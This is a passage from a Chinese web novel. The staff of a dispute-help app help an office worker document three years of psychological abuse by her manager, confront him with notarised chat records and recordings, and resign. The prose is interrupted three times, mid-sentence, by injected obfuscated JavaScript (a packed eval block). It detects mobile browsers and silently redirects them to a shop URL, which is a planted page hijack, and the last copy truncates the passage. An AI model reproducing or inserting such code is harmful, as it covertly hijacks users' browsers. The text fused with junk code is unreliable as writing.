但她至少可以像今天告诉陆琳的那样:设边界,不纵容,不妥协。 窗外偶尔还有烟花炸开。大年初三,年还没过完。 但对她来说,今年过年,不一样了。 不是因为订单破千,不是因为团队扩大。 是因为她终于开始相信:帮别人解决问题,也可以顺便解决自己的一部分问题。 她站起来,走回自己房间。 临睡前,她又看了一眼手机。 何久红今天没发消息。 那条相亲提醒,还安安静静躺在短信列表里。 明天再说吧。 她放下手机,闭上眼睛。 明天,又是新的一天。 6. 刘小燕的困境(一):职场PUA 订单暴涨的第二天,徐寄遥收到了一条投诉。 不是来自伯牙科技的水军,是真实的用户投诉。 投诉内容很简短: “你们这个APP根本没用!我下单两天了,连个回复都没有!骗子!” 应宽查了一下后台,发现这个用户是昨天新增的,下单后一直在排队。 “排队人数太多了,”他说,“现在有三百多个订单在等处理,我们只有你一个代吵师,一天处理二十单已经到极限了。” 徐寄遥看着那三百多个待处理的订单,沉默了几秒。 “那要不然招人吧。”她说。 “招代吵师?” “对,但得先培训,不能随便招。” 俞彩虹在旁边开口:“我可以帮忙,心理学和法律基础的培训,我来做。” 徐寄遥点点头,正要说话,手机响了。 是一个陌生号码。 她接通,那头传来一个女人的声音,很轻,很弱,像是怕被人听见: “请问,是代吵APP吗?” “是的,您是?” “我叫刘小燕,”那声音顿了顿,“我需要帮助。” / 下午三点,刘小燕出现在工作室门口。 她26岁,身高163左右,偏瘦,长发,戴眼镜。穿一件灰色羽绒服,牛仔裤,运动鞋。 整个人看起来灰扑扑的,像一张褪了色的照片。 最明显的是她的眼睛,眼窝有点陷下去,眼神躲闪,不敢和人对视。眼下的青黑很重,看得出很久没睡好。 吴小糖把她迎进来,倒了杯水。 她接过去,小声说了句谢谢,然后坐在沙发边缘,只坐了三分之一,整个人紧绷着。 徐寄遥在她对面坐下。 “刘小燕,你好,我是徐寄遥,代吵APP的创始人,这几位是我的同事,应宽、吴小糖、俞彩虹。” 刘小燕点点头,目光快速扫过几个人,又低下头去。 “你电话里说,需要帮助,”徐寄遥的声音很温和,“方便的话,可以详细说说。” 刘小燕沉默了很久。 她的手握着那个纸杯,指节因为用力而发白。 “我,”她开口,声音沙哑,“我不知道从哪儿说起。” “从你想说的说起,”俞彩虹在旁边轻声说,“想说什么都行。” 刘小燕抬起头,看了俞彩虹一眼。 那一眼里有惊讶,也有某种被理解的松动。 然后她开始说。 “我叫刘小燕,26岁,在一家互联网公司做运营。” “我有个领导,叫陈树昌,是我们部门经理,我毕业就进了这家公司,到现在工作三年多了。” “刚进公司的时候,陈树昌对我挺好的,教我做事,还带我见客户,我当时觉得,遇到这么好的领导,是我的运气。” 她的声音开始颤抖。 “但是后来,慢慢变了。” “他开始无缘无故挑我的毛病,说我的方案做得不行,说我的沟通能力差,说我逻辑混乱,一开始,我以为是自己不够好,就拼命学,拼命改,但是不管我怎么表现,他就是不满意。” “有一次,我加班到零点,做了一份方案发给他,结果第二天,他当着全部门的人说,‘刘小燕,你这做的什么东西?你是不是根本没动脑子?’,我当时都懵了。” 她低下头,声音更轻了: “恨不得找个地缝钻进去。” 吴小糖在旁边开始眉头紧锁。 “后来,他总是隔三差五就单独找我谈话,他说,‘小燕,我其实是为你好,你这个水平,在别的公司早被开了,只有我愿意用你,愿意教你,你要懂得感恩。’” “我相信了,我真的相信了。” “他说我离开公司就找不到工作,我也相信了,他说我能力差,只有他不嫌弃我,我还是信了,他还说我这种人根本不可能拿高工资,让我别想升职加薪的美梦了,我也相信了。” “三年,整整三年。” 她的眼泪开始往下掉,但她没有哭出声,只是任由泪水流过脸颊,滴在衣服上。 “我现在每天早上醒来,第一件事就是想,我今天能不能不被他骂?能不能不犯错?能不能让他满意?” “我每天下班回家,躺在床上,脑子里都是他说的那些话,‘你不行’‘你很差’‘你没用’,这些话一遍一遍地转,转得我睡不着。” “我去医院看过,医生说我是中度抑郁,建议我吃药,我没敢吃,我怕吃了药,脑子更不好使了,工作就更做不好,他会骂得更凶。” 她抬起手,擦了擦眼泪,动作很轻,像怕被人发现。 “前几天,他又找我谈话,他说公司要优化人员,我这种能力不行的,大概率会被裁,他又说,他可以帮我说好话,让我留下来,但前提是,我要懂事。” 徐寄遥的眉头动了一下:“懂事是什么意思?” 刘小燕低下头。 “他没说,但我大概懂他的意思,他以前暗示过,如果我愿意跟他搞好关系,他可以对我好一点。” 空气突然安静了。 吴小糖蹭地站起来,脸涨得通红:“我草!这个王八蛋!” 徐寄遥抬手,制止了她。 “小燕,”她的声音依然平静,“你今天来找我们,是想让我们帮你做什么?” 刘小燕抬起头,看着她。 那双眼睛里,有恐惧,有绝望,也有一点点微弱的光。 “我、我想让他停止,但我不知道怎么做,我不敢得罪他,我怕丢了工作,但是、我也受不了了,我真的受不了了。” “你们能帮我吗?” 她问出这句话的时候,眼泪又流了下来。 / 徐寄遥没有立刻回答。 她站起来,走到白板前,拿起笔。 “小燕,我需要你配合我做几件事。” 刘小燕点点头。 “第一,把你和陈树昌这三年的所有聊天记录,全部导出来,发给我们。” “第二,回忆一下,有没有他给你发的消息、邮件,或者其他形式的文字记录,里面有类似‘你不行’‘你很差’‘只有我愿意用你’这种话,有的话,重点标注。” “第三,那次他说‘懂事’的谈话,有没有录音?” 刘小燕摇头:“没有,我不敢,我怕被发现。” 徐寄遥点点头:“没关系,有文字记录也够了。” 她转向应宽:“应宽,聊天记录发过来之后,你做一下数据分析,统计几个指标,贬低性词汇的数量和占比,时间分布,有没有明显的模式。” 应宽点头:“明白。” 徐寄遥又转向俞彩虹:“彩虹姐,这个陈树昌的行为模式,从心理学上怎么定义?” 俞彩虹声音清晰: “这是典型的职场PUA,精神控制或者情感虐待,施害者通过长期贬低、否定、孤立受害者,摧毁其自信,使其产生‘离开他我就活不下去’的依赖心理。” 她看向刘小燕,语气温和但笃定: “小燕,你不是能力差,你是被他驯化了,他先用夸奖让你信任他,然后慢慢否定你,让你自我怀疑,最后完全依赖他的评价,这个过程叫洗脑三阶段,理想化、贬低、抛弃,你现在处在贬低阶段,并且他已经在用‘抛弃’来威胁你了。” 刘小燕听着,眼泪又流了下来。 但这一次,流的不是委屈,是某种被理解的释放。 “原来、原来不是我的问题。”她喃喃地说。 “不是你的问题,”俞彩虹肯定地重复,“是他有问题。” 吴小糖在旁边终于忍不住了,走过来蹲在刘小燕面前,握住她的手: “小燕姐,你放心,我们一定帮你!那个王八蛋,我见了他,先给他个物理威慑!不打架,就站那儿,让他自己心虚!” 刘小燕被她逗得愣了一下,嘴角扯出一个很浅的弧度。 这是她今天第一次笑。 / 晚上八点,刘小燕把聊天记录导了出来。 应宽开始数据分析。三年,1846条消息。他一条一条跑程序。 三十分钟后,结果出来了。 “有料。”他把屏幕转向大家。 数据面板上,几行数字很刺眼: 【总消息数:1846条】 【含贬低性词汇的消息:683条(占比37%)】 【高频贬低词汇:】 【- 不行/差/烂:出现247次】 【- 没用/废物:出现156次】 【- 只有我愿意用你:出现43次】 【- 离开我你找不到工作:出现28次】 【时间分布:2013条消息中,前6个月贬低性词汇占比12%,之后逐年上升,最近6个月占比达58%】 徐寄遥盯着那行“最近6个月占比达58%”,沉默了几秒。 “这是典型的温水煮青蛙,”俞彩虹说,“先建立信任,然后慢慢加码,让受害者逐渐适应越来越高的贬低强度,最后完全失去判断力。” 吴小糖在旁边气得直跺脚:“这个王八蛋!我明天就去他们公司门口蹲着!” “别急,”徐寄遥按住她,“证据还不够,聊天记录可以证明他在贬低小燕,但是还不能直接证明他在威胁她。” 徐寄遥靠在椅背上,闭眼想了想。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239913|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 然后她睁开眼,说:“小燕,明天你正常上班,但是,要演一出戏。” 刘小燕紧张地看着她:“什么戏?” “逼他出手,”徐寄遥说,“他现在用的是软刀子,但是,我们得让他自己露出丑恶嘴脸。” / 两天后。 春节假期后第一个工作日,上午九点,刘小燕走进公司。 按照徐寄遥的安排,她没有像往常一样躲着陈树昌,而是主动敲了他办公室的门。 “陈经理,我想和您谈谈。” 陈树昌是个三十五岁左右的男人,微胖,戴眼镜,看起来挺和气。他看到刘小燕,脸上立刻堆起笑容: “小燕啊,来,坐,有什么事?” 刘小燕在他对面坐下,手在桌下握紧。 “陈经理,我想问一下,上次您说的优化的事,我是不是真的会被裁?” 陈树昌的笑容淡了一点,但语气依然和气: “小燕啊,这个嘛,公司有公司的考虑,你的能力,说实话,确实有点,嗯,你懂的,不过你放心,我会帮你说好话的,毕竟咱们共事这么久了,我对你还是有感情的。” 他说“感情”两个字的时候,眼神在刘小燕身上停留了一下。 刘小燕忍住恶心,按照徐寄遥教的继续说: “那您觉得,我需要怎么做,才能留下来?” 陈树昌笑了,这次笑得有点意味深长。 “小燕啊,你是个聪明人,应该懂的,工作上呢,要多努力,其他方面呢,也要多配合,你说是吧?” 他的手,慢慢伸过来,想放在刘小燕手上。 刘小燕蹭地站起来。 “陈经理,我今天来,是想告诉您一件事。” 陈树昌的笑容僵住了。 “什么事?” “我们之间的谈话,我已经录音了。” 刘小燕从口袋里掏出手机,屏幕对着他。 陈树昌的脸色变了。 “你这、是什么意思?” “我的意思是,”刘小燕的声音开始发抖,但她坚持说下去,“从今天开始,我不会再听你的话,我不会再加班,不会再被你骂,不会再让你碰我,如果你敢报复我,或者把我裁了,我就把这些录音,还有这三年的聊天记录,全部公开。” 陈树昌愣了三秒。 然后他笑了,笑得很阴: “刘小燕,你以为你有证据就能怎么样?你知道我在公司待了多少年吗?你知道我认识多少人吗?你一个外地来的小姑娘,拿什么跟我斗?” 他站起来,走到刘小燕面前,居高临下地看着她: “你今天走出这个门,就别想再回来,我保证,让你在这个行业混不下去。” 刘小燕握着手机的手在发抖。 但她想起徐寄遥说的话:不管他说什么,你都不要争,录完就走。 她转身,推开门,走了出去。 身后传来陈树昌摔杯子的声音。 / 下午两点,刘小燕来到代吵工作室。 代吵的四人听完了录音。 刘小燕整个人一直在发抖,进门就瘫在沙发上。 吴小糖倒了杯热水,塞到她手里。 “小燕姐,没事了,没事了!” 俞彩虹坐在她旁边,轻轻拍着她的背。 “小燕,你做到了,你很勇敢,”她说,“非常勇敢。” 刘小燕喝了一口水,抬起头,看着徐寄遥: “他说让我在这个行业混不下去,他会做到吗?” 徐寄遥摇摇头。 “他做不到,”她的声音很笃定,“因为他不敢。” “为什么?” “你现在手里的东西,足够毁了他。” 她走到白板前,开始列: “第一,聊天记录,三年的PUA证据,够他喝一壶。” “第二,今天的录音,虽然他还没说出太露骨的话,但是,‘感情’‘配合’这些词,已经构成职场骚扰的苗头。” “第三,如果他真的敢裁你,就是打击报复,《劳动法》第42条,员工依法维权期间,用人单位不得解除劳动合同。” 她看着刘小燕:“现在,主动权在我们手里。” 刘小燕愣愣地看着她。 “那我接下来怎么办?” “等,”徐寄遥说,“等他再出手,他肯定会再出手,因为他这种人,忍不了,等他出了手,我们就反击。” 她顿了顿,声音放缓:“小燕,你今天做的这件事,最难的部分已经过去了,剩下的,交给我们就好。” 刘小燕看着她,眼泪又流了下来。 但这一次,是如释重负的眼泪。 7. 刘小燕的困境(二):证据收集 刘小燕在工作室待到晚上九点才走。 吴小糖送她回去的,说是顺便买宵夜。 工作室安静下来。 应宽坐在电脑前,屏幕上开着刘小燕发来的1846条聊天记录。 他一条一条地过,手指在键盘上轻轻敲击,像是在弹一首只有他自己能听见的曲子。 徐寄遥站在窗边,看着楼下的路灯。 “想什么呢?”俞彩虹端着两杯茶走过来,递给她一杯。 “在想陈树昌接下来会怎么动。” “你觉得他会怎么动?” 徐寄遥接过茶,没有喝,只是捧着暖手。 “两种可能,一种是立刻报复,找借口把小燕裁了,另一种是先按兵不动,等风头过去再慢慢收拾她。” 俞彩虹点点头:“你觉得哪种可能性大?” “第一种吧,”徐寄遥转过身,靠在窗框上,“陈树昌这种人格,忍不了,今天小燕当面戳穿他,他的自恋受损,一定会想办法证明自己还能控制局面,他会觉得,只要把刘小燕赶走,就没有人再敢反抗他。” 俞彩虹抿了一口茶,若有所思。 “你分析得对,但有一点要注意,如果他真的动手,我们需要证据。” “应宽已经在准备了。” 两人同时看向应宽。 应宽头也不回,但声音飘过来: “快了,再给我一个小时。” / 晚上十点,应宽的工作告一段落。 他把屏幕转向大家,开始汇报。 “1846条聊天记录,我做了几个维度的分析。” 他指着第一张图表: “时间分布。前六个月,陈树昌对刘小燕的贬低性词汇占比12%,主要集中在工作评价上,比如,‘你这个方案不行’‘逻辑有问题’,从第七个月开始,比例上升了,内容也变了,开始出现‘你这种人’‘你不行’,这类针对人格的评价。” 他切换到第二张图表: “关键词聚类。我把所有贬低性词汇分成三类,工作能力、人格特质、社会价值,其中,工作能力类的占比最高,达到61%,人格特质类的次之,24%,社会价值类15%。” 徐寄遥盯着那15%的社会价值类。 “社会价值类具体指的是什么?” 应宽点开一个子列表: “比如,‘除了我没人要你’‘离开我你找不到工作’‘你这种水平在别的公司早被开了’,这些话的核心逻辑是,你的价值是由我定义的,离开我你就什么都不是。” 俞彩虹在旁边轻轻叹了口气。 “这是最毒的一种,”她说,“直接摧毁一个人的自我价值感,比骂她能力差更致命,因为它切断了受害者所有的退路,让她相信,离开这个施害者,她就活不下去。” 徐寄遥沉默了几秒,然后问: “还有别的发现吗?” 应宽顿了顿,点开另一个文件夹。 “有,我对比了陈树昌对刘小燕的评价,和他对其他下属的评价。” 屏幕上出现一张对比图。 “这是陈树昌给其他三个下属发的消息,基本都是工作指令,偶尔有表扬,比如‘做得不错’‘辛苦了’,没有贬低,没有PUA。” 他放大其中一条: “再看这一条,这是陈树昌发给一个刚来的男生的,内容是,‘小张,方案我看过了,有几个地方需要调整,明天上班聊’,很正常的工作沟通。” 然后他切回刘小燕的聊天记录: “对比一下,‘刘小燕,你这做的什么东西?你是不是根本没动脑子?’‘你这种水平,也就我愿意用你。’” 徐寄遥看着那两条记录的对比,眼神冷了下来。 “所以他是专门针对刘小燕。” “对,”应宽点头,“而且不是偶然的,是持续三年、有规律、有系统的针对。” 他调出最后一张图: “这是时间线。我把陈树昌对刘小燕的贬低性消息,和刘小燕的工作量做了叠加,发现一个规律,每次陈树昌密集贬低刘小燕之后的一两天,小燕的工作量都会明显增加,而且被分配的,都是难度大、周期紧、别人不愿意接的任务。” 他指着几个峰值点: “比如这里,陈树昌连发七条消息,骂她‘能力差’‘没用’,之后三天,刘小燕被安排了两个紧急项目,连续加班到凌晨,再比如这里,陈树昌说,‘你这种人不配拿高工资’,之后一周,小燕一个人干了三个人的活。” 俞彩虹听完,沉默了很久。 然后她开口,声音有点哑: “这不是简单的PUA,这是精神控制和劳动剥削的结合,他先用贬低摧毁她的自信,然后用‘只有我愿意用你’制造依赖,最后利用这种依赖,压榨她的劳动力。” 她看向徐寄遥: “这已经可以构成职场霸凌和非法压榨了。” 徐寄遥点点头,转向应宽: “这些证据,如果提交给劳动仲裁或者法院,够不够?” 应宽想了想:“聊天记录本身够,但需要做公证,证明是真实的、未被篡改的,另外,如果能有其他同事的证言,或者陈树昌对其他人的类似行为,会更有力。” “其他同事的证言,”徐寄遥沉吟了一下,“这个可以慢慢收集,先把聊天记录公证了。” 应宽准备继续分析。 他突然停住了,盯着屏幕上的某一行数据。 “寄遥,你来看这个。” 徐寄遥走过去。 应宽指着屏幕上的一个网页截图。 “我在追踪陈树昌的网络活动,发现他去年11月在和解大师APP上购买过VIP服务。” 屏幕上显示着一个订单页面: 【订单号:HD202412070012】 【商品名称:《职场精英进阶课——如何让员工更听话》】 【购买金额:8888元】 【购买时间:2024年11月7日】 徐寄遥的眼睛眯了起来。 “和解大师APP?” “对,”应宽继续往下翻,“他不仅买了这一门课,还买了另外两门,‘团队控制术’‘员工心理操控十八招’,总花费两万三千元。” 吴小糖探过脑袋,愣愣地看着那个页面。 “他是学的?” 俞彩虹走过来,盯着屏幕看了很久。 她的表情变得凝重,看向应宽:“能把那些课程的内容调出来吗?” 应宽开始操作。 几分钟后,屏幕上出现了课程的目录截图。 【第一课:如何建立权威感】 【第二课:如何让员工依赖你】 【第三课:贬低的艺术——摧毁自信的技巧】 【第四课:制造危机感——让员工不敢离开】 吴小糖看着那些标题,脸色都涨红。 “这跟刘小燕的经历一模一样啊!” 应宽继续往下翻。 “你们再看这个,”他调出一个视频片段,“这是课程的试看部分。” 视频里,一个中年男人正在讲课: “很多管理者觉得,对员工好,员工就会感恩。错。人性是贱的。你对他好,他觉得理所当然。你得让他怕你,让他觉得离开你就活不下去,他才会死心塌地跟着你。” “怎么做到呢?很简单。先夸,让他觉得遇到了伯乐。然后开始挑毛病,从工作能力到人格特质,一点点摧毁对方的自信心。等他开始怀疑自己的时候,你就说,‘只有我愿意给你机会’。这句话,是杀手锏。” 吴小糖的拳头硬了,“我草!这什么反人类培训啊!” 俞彩虹深吸一口气,缓缓开口: “这不是PUA,这是系统化的精神控制产业。” 徐寄遥和应宽不约而同点头。 “这个和解大师APP的商业模式,看起来,就是制造社会问题,再解决问题收费。他们先通过PUA教程,制造职场矛盾,再通过和解大师APP提供职场调解服务,解决矛盾,从而收取高昂服务费。” 徐寄遥补充道: “所以,和解大师APP不仅在制造家庭矛盾,还在制造职场矛盾,他们利用人性的弱点,牟取暴利。” 她站在白板前,沉默了很久。 然后她开口,声音很轻,但很稳: “所以,陈树昌不是天生的魔鬼,他是被教出来的。” 她顿了顿,看了一眼时间,十点半。 “明天让刘小燕去公证处做聊天记录的公证,应宽,你帮她整理好材料。” “明白。” / 第二天上午九点,刘小燕再次来到工作室。 她比昨天更憔悴了,眼眶下面两团青黑,一看就是一夜没睡好。 吴小糖一看见她就蹦过去:“小燕姐!你来了!吃早饭没?应总做了包子!” 刘小燕愣了一下:“应总?做包子?” 应宽在旁边面无表情地敲键盘,耳朵尖有点红。 “嗯,随便做的。” 吴小糖已经跑去厨房,端出一盘热腾腾的包子,摆在刘小燕面前。 “尝尝!应总的手艺可好了!绝了!” 刘小燕看着那盘包子,又看看吴小糖亮晶晶的眼睛,嘴角浮起一个很淡的笑。 她拿起一个,咬了一口。 是白菜猪肉馅的。皮薄馅大,味道很好。 “好吃。”她说。 吴小糖在旁边满意地点头:“我就说吧!” 吃完早饭,应宽开始给刘小燕讲解公证流程。 “你需要在公证员面前,用自己的手机登录微信,打开和陈树昌的聊天记录,一条一条翻给他们看,他们会拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239914|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照和录像,然后出具公证书。” 刘小燕紧张起来:“要一条一条翻?那要翻多久?” “三年1846条,大概两三个小时吧,”应宽说,“不过你不用全翻,只需要翻那些关键的、有贬低内容的就行,我已经给你标出来了。” 他递给刘小燕一份打印好的表格,上面列着需要重点展示的消息编号和内容。 刘小燕接过来,手有点抖。 “我能行吗?” 徐寄遥走过来,在她旁边坐下。 “小燕,你记住一件事。” 刘小燕抬头看她。 “你做这些,不是为了报复陈树昌,是为了保护自己,也是为了告诉其他被欺负的人,有人可以反抗,有人可以赢。” 她顿了顿,声音放轻: “你今天走出这一步,以后就不会再怕他了。” 刘小燕看着她,眼眶慢慢红了。 但她没哭。她深吸一口气,点点头。 “我去。” / 下午两点,刘小燕从公证处出来。 吴小糖一直陪着她,在门口等了两小时。看到她出来,赶紧迎上去。 “怎么样?” 刘小燕举起手里的文件袋,声音有点抖,但脸上带着笑: “办完了。” 吴小糖一把抱住她:“太棒了!” 两人回到工作室,应宽接过公证书,仔细检查了一遍。 “没问题,183条关键消息,全部公证,现在这些就是合法证据了。下一步,可以联系劳动监察部门了。” 徐寄遥摇头:“再等等。” “等什么?” “等陈树昌出手,”她说,“现在举报他,最多是批评教育、责令改正,我们得等他做出真正违法的行为,比如开除小燕,然后再出手,到时候,打击报复+职场霸凌+非法压榨,三罪并罚,他跑不掉。” 应宽想了想,点头:“有道理。” 刘小燕在旁边听着,有点担心:“可是,如果他真的开除我,我就没工作了。” 徐寄遥看着她: “小燕,我问你一个问题。” “你问。” “你现在这份工作,你还能干下去吗?” 刘小燕愣了一下,然后慢慢低下头。 “我不知道,每次走进公司,我就心慌,手抖,喘不上气,看到他,我就想躲。” 徐寄遥点点头: “所以,这份工作,其实你已经不想干了,对不对?” 刘小燕沉默了很久。 然后她轻轻点头。 “我、我一直不敢承认,我怕丢了工作,就什么都没了,但是、但是我真的……真的不想再回去了。” 吴小糖在旁边握住她的手。 俞彩虹轻声说:“你还有我们,还有你自己。” 刘小燕抬起头,看着她们。 眼泪流了下来。 但这一次,她笑了。 / 晚上,刘小燕走后,徐寄遥和应宽继续加班。 应宽在处理后台数据,徐寄遥在写一份文档:《职场PUA识别与应对指南》。 这是她临时起意写的。 陆琳的推荐让代吵APP用户暴涨,其中不少人和刘小燕有类似的经历。她想写一份通用的指南,让那些暂时排不上队的人也能先自己学着应对。 写到一半,手机亮了。 是何久红的短信:这次相亲一定要去。 后面还跟了一条:人家条件真的好,这次不能再退了。周六12点,万和饭店。再不去,妈妈就去你公司找你。 徐寄遥盯着那条短信,沉默了几秒。 然后她把手机放到一边,继续写文档。 应宽在旁边瞥了一眼,没说话。 过了几分钟,他突然开口: “周六我没事,可以陪你去。” 徐寄遥愣了一下:“陪我去哪儿?” “相亲,”应宽推了推眼镜,“假装你男朋友,帮你挡掉。” 徐寄遥看着他,忽然笑了。 “你?假装我男朋友?” “怎么,不行?” “不是不行,”徐寄遥转回去继续写文档,“是没必要,我直接不去就行了,她来公司找我,正好,让她看看我每天都在干什么。” 应宽想了想:“你妈会同意吗?” “她同不同意不重要,”徐寄遥的声音很平静,“重要的是,我不能再让她用这种方式控制我了。” 她顿了顿,补了一句: “就像刘小燕不能再让陈树昌控制她一样。” 应宽看着她,没说话。 但他在心里想:这个人,是真的变了。 不是变强硬了,是变得更清楚自己要什么了。 窗外,夜色很深。 工作室里的灯,亮得很稳。 8. 刘小燕的困境(三):对质 上午八点半。 刘小燕站在公司楼下,手心里全是汗。 她抬头看着这栋三十二层的写字楼,想起过去三年,每天从这里走进去,像走进一个巨大的阴影。 手机震了。 是徐寄遥的消息: “到了吗?” 刘小燕回复:“到了。” “记住,你不是一个人,我和吴小糖马上过来,你只需要走进去,把该说的话说出来。” 刘小燕深吸一口气,推开了玻璃门。 电梯里只有她一个人。 镜子里的自己,脸色苍白,眼眶下面两团青黑。 她看着镜子里的自己,想起三年前刚入职的时候,那时候她也是站在这部电梯里,满怀期待。 现在,她来做一个了断。 电梯门打开,十二楼到了。 / 走廊尽头,陈树昌的办公室门开着。 刘小燕走过去,在门口站定。 陈树昌正坐在办公桌后面,对着电脑看什么。听到脚步声,他抬起头,看到刘小燕,脸上立刻堆起笑容。 “小燕啊,来了?进来坐。” 刘小燕走进去,在他对面坐下。 陈树昌靠进椅背里,双手交叉放在胸前,一副掌控全局的姿态。 “那天的事,我想了想,”他开口,语气里带着那种熟悉的、居高临下的意味,“你可能是压力太大了,说了些不该说的话,我可以不计较,毕竟咱们共事这么久了,我对你,还是有感情的。” 他说到“感情”两个字的时候,眼神又在刘小燕身上转了一圈。 刘小燕的手在桌下握紧。 但她想起徐寄遥的话:不要急,让他说。 陈树昌继续说:“小燕啊,你这个性格,我太了解了,敏感,多疑,容易钻牛角尖,我跟你说实话,你这毛病,不改的话,到哪儿都吃不开。” 他往前探了探身,压低声音: “也就是我愿意用你,换成别的领导,早把你开了,你要懂得感恩。” 刘小燕看着他。 三年来,这些话她听了无数遍。每一次听完,她都会在心里骂自己,是我不好,是我能力差,是我不懂得感恩。 但今天,她听到的只有一件事: 他又开始了。 手机在口袋里轻轻震了一下。是徐寄遥的行动信号。 该你了。 / 刘小燕深吸一口气,开口了。 “陈经理,我想问你几个问题。” 陈树昌愣了一下。 “什么问题?” “三年前,我刚进公司的时候,你对我很好,教我做事,带我见客户,还经常夸我,那时候,我真的很感激你。” 陈树昌的表情放松了一点,又靠回椅背里。 “知道就好。” “但从第二年开始,你变了,”刘小燕的声音很平静,但每一个字都很清晰,“你开始挑我的毛病,说我方案不行,说我逻辑混乱,说我能力差,一开始我以为是自己不够好,拼命学,拼命改,但我发现,不管我怎么努力,你永远不满意。” 陈树昌的脸色变了一点。 “你什么意思?” “我的意思是,”刘小燕看着他,“你骂我那些话,是故意的,你故意摧毁我的自信,故意让我觉得自己一无是处。” 陈树昌蹭地站起来。 “刘小燕!你知不知道你在说什么?!” 刘小燕没有动。 她只是从口袋里掏出手机,放在桌上。 屏幕亮着,显示正在录音。 陈树昌的脸色变了。 “你、你又录音?!” “当然,”刘小燕说,“从进门开始,就在录。” 陈树昌愣了三秒。 然后他笑了。 那种笑,刘小燕从未见过,是一种近乎狰狞的、被戳穿后的恼羞成怒。 “好啊,刘小燕,你长本事了,”他绕过办公桌,走到刘小燕面前,居高临下地看着她,“你以为录了音就能把我怎么样?你以为这些东西能证明什么?” 他的声音越来越大: “我是你的领导!我骂你是为你好!你说我PUA?证据呢?聊天记录?那是我在指导你工作!录音?那是你在断章取义!” 刘小燕的手在发抖。 但她还是开口了,声音比刚才更稳: “三年,1846条消息,贬低性词汇占比37%,‘只有我愿意用你’这句话出现了43次,‘离开我你找不到工作’,这句话出现了28次。” 陈树昌愣住了。 “你、你什么意思?” 刘小燕站起来,和他平视。 “我分析了你三年来的聊天记录,掌握了一手数据。” 这是徐寄遥教她的话。 陈树昌的脸色彻底变了。 “刘小燕!你别给脸不要脸!你以为你手里那点东西能把我怎么样?我告诉你,你今天不把手机交出来,就别想走出这个门!” 这时,一个声音从门口传来。 “小燕!” 几声敲门声,徐寄遥走进来,身后跟着吴小糖。 陈树昌退后一步,看着这两个突然出现的女人。 “你们是谁?怎么进来的?” 吴小糖晃了晃手里的工牌,“一楼前台登记的,我们可是来谈业务的。” “陈经理,我是代吵APP的创始人,徐寄遥,受刘小燕的委托而来。”徐寄遥语气平稳。 陈树昌的表情僵了一下。 “代吵APP?哦,就是那个、帮人吵架的APP?” “不是吵架,是解决问题。” 陈树昌脸上变成了一种玩味的表情。 “解决什么?刘小燕是我下属,我们之间的事,好像不需要外人插手吧?” “陈经理,不要浪费时间了。” 徐寄遥站定,开始用手机播放一段录音。 “刘小燕!你别给脸不要脸!你以为你手里那点东西能把我怎么样?我告诉你,你今天不把手机交出来,就别想走出这个门!” 陈树昌刚才的声音从手机里传出来,清晰得刺耳。 他的脸色更阴沉了,下意识伸手想去拿手机,徐寄遥更快一步,把手机收了回来。 陈树昌被她盯得有点不自在,干咳了一声: “徐小姐,我看你是误会了,我是小燕的领导,我做的每一件事都是为了她好,她能力不行,我帮她,她不懂事,我教她,你们这是干什么嘛?” 他对着刘小燕,语气放软: “小燕,你说句话啊,咱们共事三年,我对你怎么样,你心里清楚,是不是有人挑拨离间,让你误会我了?” 刘小燕看着他,眼泪在眼眶里打转。 但她没有躲。 她开口,声音沙哑但清晰: “陈树昌,你闭嘴。” 陈树昌的笑容彻底僵住了。 刘小燕整个人都在发抖。 “你对我怎么样,我太清楚了,”她一字一句地说,“你骂了我三年,打压我,PUA我,压榨我三年,你刚才还说,我今天不交出手机就别想走出这个门,这叫对我好?” 她明显在控制自己的语调不发抖: “陈树昌,我不想听你狡辩,告诉你,我要辞职。” 她从外套口袋里掏出一张纸,拍在陈树昌桌上。 “没事了没事了,”吴小糖拍着她的背,“我们来了。” 那是一份打印好的辞职信。 “长期辱骂、贬低人格、公开羞辱、精神打压,这些行为都属于侮辱劳动者,直接违反了《劳动法》第 96 条;再根据《劳动法》第32 条,威胁辞退、恶意降薪、精神胁迫,这些行为可以被认定是威胁强迫劳动,劳动者可以立即解除劳动合同并且索赔,不需要事先告知用人单位。” 徐寄遥的语速不快,但每一个字都清晰有力。 “辞职信是我们帮小燕写的,法律条款我们也都列出来了,录音和聊天记录已经做了公证,今天的沟通,我们也全程录像存证了,如果你敢在离职证明上写任何对她不利的话,我们会申请劳动仲裁,起诉你侵犯名誉权。” 陈树昌愣在原地。 他看着桌上那张辞职信,又看看刘小燕,再看看徐寄遥,最后看向吴小糖。 吴小糖举着手机一直在拍摄,看着他,眼神里写着“你敢动一下试试”。 陈树昌的脸色由红变白。 “你们到底想干什么?” 徐寄遥看着他,一字一句地说: “我们要你签一份协议。” 她从包里拿出一份文件, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 